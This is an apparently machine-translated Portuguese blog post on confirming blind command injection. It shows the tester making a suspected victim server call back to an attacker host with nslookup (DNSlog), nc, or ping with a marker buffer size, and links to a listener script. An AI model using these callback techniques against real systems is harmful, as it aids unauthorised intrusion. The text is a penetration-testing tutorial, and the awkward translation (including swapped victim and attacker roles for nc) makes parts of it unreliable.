O comando pode executar meios de monitoramento (julgamento)

O comando pode executar meios de monitoramento (julgamento)

Quando encontramos um ponto de execução de comando suspeito e descobrimos que não há eco após a execução do comando, como julgar se o comando pode ser executado?

Registro de DNS

Este é o método de uso mais comum. Muitas pessoas gostam de usar a plataforma dnslog ou criar serviços de DNSlog por conta própria.

Implementação do princípio de monitoramento

nslookup <randstr> <ip>

Se a string aleatória correspondente (<randstr>) estiver armazenada no ip correspondente, significa que o comando foi executado. Não vou entrar em detalhes sobre o uso e os princípios básicos, então que outros métodos temos além do DNSlog?

Registo de Porta Aleatória TCP

Na verdade, para a maioria dos cenários, exceto DNS, a maioria das "detecções" anti-conexão usa o TCP como protocolo básico. Podemos obter uma compatibilidade complexa de gravação de vários aplicativos implementando o protocolo baseado em TCP. comando nc.

servidor vítima

nc -l <port>
<randstr>

imagem.png

servidor atacante

nc <ip>  <port>

imagem.png

Mas há uma desvantagem nos dois métodos acima, ou seja, nem todos os servidores possuem nslookupcomandos e nccomandos instalados, principalmente servidores Windows, então podemos encontrar um comando que esteja disponível em quase todos os sistemas operacionais e instalado na inicialização? ? ? A resposta está aí, esse é o nosso comando ping comumente usado! ! !

Log de Tamanho ICMP

Como todos sabemos, o comando de gatilho mais simples para icmp é o comando ping, e basicamente todos os servidores têm o comando ping, se encontrarmos um ponto de execução de comando suspeito da vítima, se o comando ping for executado e o servidor do invasor for pingado , significa que o comando pode ser executado, então ainda precisamos resolver um problema, como provar que o ping do nosso servidor é o servidor da vítima, DNS Log e TCP Port Log passam uma string aleatória para provar isso, mas o comando ping não pode enviar caracteres aleatórios Então, o que mais podemos fazer?

Vamos dar uma olhada na aplicação do ping

imagem.png

Esta é a opção de comando ping no windows, podemos notar -leste item, podemos personalizar o tamanho do buffer de envio, então podemos usar o tamanho do buffer como um número aleatório? A resposta é sim.

Podemos construir um servidor de escuta simples em nosso próprio servidor

链接:https://pan.baidu.com/s/1yRUvUZrUI1-6WE1ymbMhqQ 
提取码:h1bg 
python2 main_dnslog.py

imagem.png

Enviei um dado com um tamanho de buffer de 520 em um servidor vítima (windows)

ping -l 520 <ip>

imagem.png

Podemos ver que o servidor invasor ouviu com sucesso um dado com um tamanho de cache de 520, o que indica que o comando ping foi executado e pode-se determinar que o executor é a vítima.

imagem.png

Mais uma coisa a observar aqui é que a opção de tamanho de cache do Windows é -l, enquanto as opções de tamanho de cache do mac e linux são -s, ou sejaping -c 4 -s <len> <ip>

imagem.png

imagem.png

Acho que você gosta

Origin blog.csdn.net/weixin_46706771/article/details/124386085
Recomendado
Clasificación